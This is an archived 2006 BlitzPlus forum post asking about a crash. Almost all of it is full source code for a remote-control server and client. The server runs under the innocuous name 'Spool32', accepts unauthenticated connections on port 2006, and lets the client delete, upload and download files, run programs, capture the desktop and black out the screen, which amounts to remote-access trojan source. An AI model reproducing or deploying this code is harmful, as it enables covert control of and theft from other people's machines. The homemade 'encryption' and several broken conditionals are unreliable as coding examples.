Readstring$ from files

Archives Forums/BlitzPlus Bug Reports/Readstring$ from files

Sonari Eclipsi Onimari(Posted 2006) [#1]
Okay, I am making a Command Prompt VNC. I need 3 funcs. Upload, download, and screenshot. I am using a loop to readstrings from the file and send them to the server. On some Pc's (winxp only) it works perfect, others, it returns an illegal operation on blitzcc. This is B+ code...

[code=blitzplus]

;command server
AppTitle "Spool32"
Global server=CreateTCPServer(2006)
If Not server
End
EndIf

Type connection
Field stream,id,timer
End Type
Id=0
ChangeDir("c:\")

While Not done
Delay 10
tcp=AcceptTCPStream(server)
If tcp
c.connection=New connection
c\stream=tcp
c\id=id
c\timer=CreateTimer(1)
id=id+1
EndIf

For c.connection=Each connection

If ReadAvail(c\stream) > 0
ResetTimer(c\timer)
k$=ReadLine$(c\stream)

If Left$(k$,6)="delete"

file$=Mid$(k$,8,Len(k$))

If FileType(file$)=1
DeleteFile file$
WriteLine c\stream,"Deleted"
Else

WriteLine c\stream,"Cannot delete"
EndIf



ElseIf k$="blackout"
fudge=False
Graphics 800,600,16,1
Repeat
If ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
If tmp$="okay"

EndGraphics
fudge=True
Exit
EndIf
EndIf
Until fudge=True
ElseIf k$="CRD"
WriteLine c\stream,"ok"
Repeat
Until ReadAvail(c\stream)
nd$=ReadLine$(c\stream)
CreateDir(nd$)
If FileType(nd$)=2
WriteLine c\stream,"ok"
Else
WriteLine c\stream,"nope"
EndIf


ElseIf k$="lc"
WriteLine c\stream,"ready"
Repeat
Until ReadAvail(c\stream) > 0
file1$=ReadLine$(c\stream)
file2$=ReadLine$(c\stream)
If FileType(file1$) = 1
CopyFile file1$,file2$
If FileType(file2$) = 1
WriteLine c\stream,"ok"
Else
WriteLine c\stream,"Invalad Directory"
EndIf
Else
WriteLine c\stream,"NFS"
EndIf
ElseIf k$="download" ;were really the ones sending...

WriteLine c\stream,"ok"

Repeat
Until ReadAvail(c\stream) > 0
filetosend$=ReadLine$(c\stream)
If FileType(filetosend$) =1
WriteLine c\stream,"good"

Repeat
Until ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
If tmp$="ready"
file4=ReadFile(filetosend$)
While Not Eof(file4)
Delay 10
temp$=ReadString$(file4)
WriteString c\stream,temp$
Wend
WriteString c\stream,"done"

EndIf
Else
WriteLine c\stream,"nope"
EndIf




ElseIf k$="rc"

directory$=CurrentDir$()
Repeat
Until ReadAvail(c\stream) > 0
loc$=ReadLine$(c\stream)
file=WriteFile(directory$+loc$)
WriteLine c\stream,"ready"
bhope=False
Repeat
Delay 10
If ReadAvail(c\stream) > 0
tmp$=ReadString$(c\stream)
If tmp$ <> "done"

WriteString file,tmp$
Else
bhope=True
Exit
EndIf
EndIf
Until bhope=True
CloseFile file
WriteLine c\stream,"ok"







ElseIf Left$(k$,5)="mouse"

x=Mid$(k$,Instr(k$,">")+1,Instr(k$,"|"))

y=Mid$(k$,Instr(k$,"|")+1,Len(k$))

MoveMouse x,y

ShowPointer()
WriteLine c\stream,"Mouse relocated"


ElseIf k$="prompt"
WriteLine c\stream,"ok"
Repeat
Until ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
message$=prompt$(tmp$)
If message$ <> ""
WriteLine c\stream,message$
Else
WriteLine c\stream,"NP"
EndIf



ElseIf k$="gone"
Delete c
ElseIf Left$(k$,7)="display"
Notify Mid$(k$,9,Len(k$))

WriteLine c\stream,"Notified"
ElseIf Left$(k$,4)="file"

ExecFile Mid$(k$,6,Len(k$))

WriteLine c\stream,"executed"
ElseIf k$="dir/w"
kk$=""
WriteLine c\stream,"recieve"
WriteLine c\stream,CurrentDir()
dir=ReadDir(CurrentDir())
Repeat
If MoreFiles(dir)
kk$=NextFile$(dir)

Select FileType(kk$)
Case 1;file
WriteLine c\stream,"File: "+kk$
Case 2
WriteLine c\stream,"Directory: "+kk$
End Select
EndIf
Until MoreFiles(dir)=0
WriteLine c\stream,"No more files in this directory"

ElseIf Left$(k$,2)="cd"
newdir$=Mid$(k$,4,Len(k$))
If FileType(newdir$)=2
ChangeDir newdir$
WriteLine c\stream,"okay"
WriteLine c\stream,CurrentDir()
Else
WriteLine c\stream,"nope"
EndIf
ElseIf k$="desktop"
ShowPointer()
SaveBuffer DesktopBuffer(),"c:\desktop.bmp"
ShowPointer()
file=ReadFile("c:\desktop.bmp")
WriteLine c\stream,"recieve"
While Not Eof(file)
Delay 10
temp$=ReadString$(file)
WriteString c\stream,temp$
Wend
WriteString c\stream,"done"
CloseFile file

EndIf
EndIf
Next
Wend

Function prompt$(title$) ;this is the same as the javascript prompt, which is useful as it is an 'input' for GUI

done=False
window=CreateWindow(title$,0,0,300,150,0,0001)
t=CreateTextField(0,0,300,20,window)
okay=CreateButton("Okay",ClientWidth(window)-100,40,100,20,window,4)
ActivateGadget t


While Not done
k=WaitEvent()
If EventID() = $803
pp$=""
FreeGadget window
Goto hope

ElseIf EventID() = $401
If EventSource() = okay
pp$=TextFieldText(t)
FreeGadget window
done=True
Exit
EndIf




EndIf
Wend

.hope
Return pp$
End Function


[/code]

that is the server, which Windows XP returns an illegal op..

[code=blitzplus]

;bmps supported.
;exe's supported
;doc's not
;mp3 not
;wav not
;wma not
;png not
;jpg not
;zip freezes. Not restricted though
;txt not

Global tcp
.oops
ip$=Input$("Enter host IP: ")
tcp=OpenTCPStream(ip$,2006)
If Not tcp
Print "Unable to connect to remote host"
Goto oops
EndIf
Global directory$="c:\"
Print ""
Print "Connected to "+ip$
Repeat

Print ""
command$=Input$("Enter Command: ")
command$=Lower$(command$)
Select command$
Case "prompt"
Print ""
ps$=Input$("Message to prompt: ")
WriteLine tcp,"prompt"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
WriteLine tcp,ps$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$ <> "NP"
Print "Reply: "+tmp$
Else
Print "No Reply from remote computer"
EndIf
EndIf
Case "changepw"
Print ""
file89=WriteFile("Pak3.dat")
WriteLine file89,encrypt$(Input$("New PW"))
CloseFile file89
Print "Password Changed"



Case "delete"
Print ""
file$=Input$("Enter a file to be deleted: ")
WriteLine tcp,"delete>"+file$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Deleted"
Print "File sucessfully deleted"
ElseIf tmp$="Cannot delete"
Print "Unable to delete file"
EndIf
Print ""

Case "mouse"
Print ""
x=Input$("Enter an 'x' coordinate: ")
y=Input$("Enter an 'y' coordinate: ")
WriteLine tcp,"mouse>"+x+"|"+y
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Mouse relocated"
Print "Mouse moved"
EndIf
Print ""
Case "end"
WriteLine tcp,"gone"
End
Case "display"
Print ""
tmp$=Input$("Enter a sentence to be displayed: ")
WriteLine tcp,"display>"+tmp$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Notified"
Print "Message Displayed"
EndIf
Print ""
Case "file"
Print ""
file$=Input$("Enter a file to be executed: ")
WriteLine tcp,"file>"+file$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="executed"
Print "Program executed"
EndIf
Print ""
Case "cd"
Print ""
Print "Current directory: "+directory$
newdir$=Input$("Enter new directory: ")

WriteLine tcp,"cd>"+Newdir$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="okay"

Repeat
Until ReadAvail(tcp)
directory$=ReadLine$(tcp)
Print "New directory: "+directory$


Else

Print "Directory dosn't exist"
EndIf
Print ""
Case "desktop"
Print ""
dtop()

Print "User's desktop Downloaded"
ExecFile "c:\tmp.bmp"
Print ""

Case "download"

hit=False
file$=Input$("File to download: ")
If Right$(file$,3) <> "exe" Or Right$(file$,3) <> "bmp"
Print "Can only download .exe files or .bmp files"
Goto hoh
EndIf
WriteLine tcp,"download"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)

If tmp$="ok"
WriteLine tcp,find$(file$)
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="good"
WriteLine tcp,"ready"
file22=WriteFile("c:\tmp.tmp")
While Not g$="done"
If ReadAvail(tcp) > 0
Delay 10
g$=ReadString$(tcp)
If g$="done"
hit=True
Exit
Else
Print "Downloading..."
WriteString file22,g$
EndIf
EndIf
Wend
CloseFile file22
fi$=RequestFile("Download to: ","exe,bmp",1)
CopyFile "c:\tmp.tmp",fi$
DeleteFile "c:\tmp.tmp"
Print "File Successfully Downloaded"
Else
Print "Invalad File/Cannot copy whole folders"
Goto hoh
EndIf
EndIf









.hoh
Case "upload"
Print ""
file$=RequestFile("Open a file to send to the remote computer's current directory","exe,bmp")
If FileType(file$) =0

Print "Invalad Filename"
Goto ger
EndIf
If Right$(file$,3) <> "exe" Or Right$(file$,3) <> "bmp"
Print "Can only download .exe files or .bmp files"
Goto ger
EndIf
f=ReadFile(file$)
WriteLine tcp,"rc"
WriteLine tcp,find$(file$)
n=0
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ready"
While Not Eof(f)
Delay 10
WriteString tcp,ReadString$(f)
Select n
Case 0
Print "Sending"
n=n+1
Case 1
Print "Sending."
n=n+1
Case 2
Print "Sending.."
n=n+1
Case 3
Print "Sending..."
n=0
End Select


Wend
CloseFile f
WriteString tcp,"done"
EndIf
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
Print "File sucessfully uploaded"
Else
Print "Unable to save file"
EndIf
Print ""
.ger
Case "blackout"
WriteLine tcp,"blackout"
Print "Blackout in progress"
Input$("Press [enter] to remove the blackout")

WriteLine tcp,"okay"
Print "Blackout removed"

Case "localcopy"
Print ""
jp$=Input$("Enter copy command: ")

file1$=Mid$(jp$,0,Instr(jp$,"*"))
file2$=Mid$(jp$,Instr(jp$,"*")+1,Len(jp$))

WriteLine tcp,"lc"
Repeat
Until ReadAvail(tcp)
tmp$=ReadLine$(tcp)
If tmp$="ready"
WriteLine tcp,file1$
WriteLine tcp,file2$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
Print "File successfully copied"
ElseIf tmp$="Invalad Directory"
Print "The folder you want to copy to does not exist"
ElseIf tmp$="FNS"
Print "The file does not exist"
EndIf

EndIf

Print ""
Case "createdir"
Print ""
nd$=Input$("Enter directory to be created with path: ")
WriteLine tcp,"CRD"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
WriteLine tcp,nd$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)

If tmp$="ok"
Print "Directory Created"
Else
Print "Invalad Path"
EndIf
EndIf
Print ""





Case "dir/w"
ggg=False
Print ""
WriteLine tcp,"dir/w"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="recieve"
Repeat
Until ReadAvail(tcp) > 0
directory$=ReadLine$(tcp)
Print "Current files and folders in "+ directory$
Repeat

john$= ReadLine$(tcp)
If john$ <> "No more files in this directory"
Print john$
Else
ggg=True
Exit
EndIf


Until ggg=True
Print "No more files in this directory"
Print ""
EndIf
Default
Print ""
Print "Invalad Command"
Print ""
Print ""
help()
End Select
Forever


Function find$(song$)
Repeat
If Instr(song$,"\") > 0

pos2=Instr(song$,"\")+1
song$=Mid$(song$,pos2,Len(song$))

EndIf
Until Instr(song$,"\") =0
Return song$
End Function

Function help()
Print "[file]"
Print "Executes a file on the remote computer"
Print ""
Print "[delete]"
Print "Deletes a file on the remote computer"
Print ""
Print "[mouse]"
Print "Relocates the remote mouse"
Print ""
Print "[end]"
Print "Closes the program"
Print ""
Print "[cd]"
Print "Changes current directory on remote computer"
Print ""
Print "[desktop]"
Print "Downloads a screenshot of the remote computer's desktop"
Print ""
Print "[download]"
Print "Downloads a specified file from the remote computer"
Print ""
Print "[upload]"
Print "Uploads a specified file to the remote computer"
Print ""
Print "[blackout]"
Print "Turns off remote monitor until requested on"
Print ""
Print "[localcopy]"
Print "Copies files from the remote computer to the remote computer"
Print "Code: file1.bmp*c:\file2.bmp"
Print ""
Print "[createdir]"
Print "Creats a new folder on the remote computer"
Print ""
Print "[changepw]"
Print "Changes security passcode"
Print ""
Print "[dir/w]"
Print "Lists ALL files and folders in the current directory"
Print ""
End Function

Function dtop()
DeleteFile "c:\tmp.bmp"
WriteLine tcp,"desktop"
Repeat
Until ReadAvail(tcp)
file=WriteFile("c:\tmp.bmp")
tmp$=ReadLine$(tcp)
If tmp$="recieve"
georgey=False
Repeat
Delay 10
If ReadAvail(tcp) > 0
b$=ReadString$(tcp)
If b$ <> "done"
WriteString file,b$
Else
georgey=True
Exit
EndIf
EndIf
Until georgey=True
EndIf
CloseFile file
End Function
Function encrypt$(s$)
key=Rand(1,Rand(9,Rand(99,Rand(999,Rand(999,Rand(9999,Rand(99999)))))));lets get a random number
hour=Left(CurrentTime(),2)
key=key+hour
year=Right(CurrentDate(),4)
key=key+year
For i=1 To Len(s$);for 1 to the length of the string

b=Asc(Mid(s$,i,1));turn each letter into ascii(encrypted letter)

xior=Abs(170174656+(key+2006));take a cool number and add it to the key


t$=t$+(b*key)+"~";lets mutuply the ascii letter by the key and add a "~" to let us know that the letter is ended







Next;move to the next letter
t$=Str(xior)+"~"+t$;t = the encrypted letter

Return t$;return it
End Function


Function decrypt$(s$)



key=Left(s$,Instr(s$,"~"));lets get the encrypted key

nk=Abs(170174656-(key-2006));decrypt the key

mnop$=Mid(s$,Instr(s$,"~")+1,Len(s$));get rid of the key from the actual string
;works first time

.o ;a reference point (alternative to loop that can get out of hand)
If Len(mnop$) > 1 ;as long as there are letters to decrypt


job=Left(mnop$,Instr(mnop$,"~")-1);get the letter
bob=job/nk;devide it by the key



c$=c$+Chr$(bob);turn it back into a letter

mnop$=Mid(mnop$,Instr(mnop$,"~")+1,Len(mnop$));remove the letter we just decrypted



Goto o;go back to see it there is any more











EndIf;guess there aren't any more
Return c$;return it
End Function

[/code]

that is my client...

Remember, works on some perfectly, others, returns illegal op.
\
-munro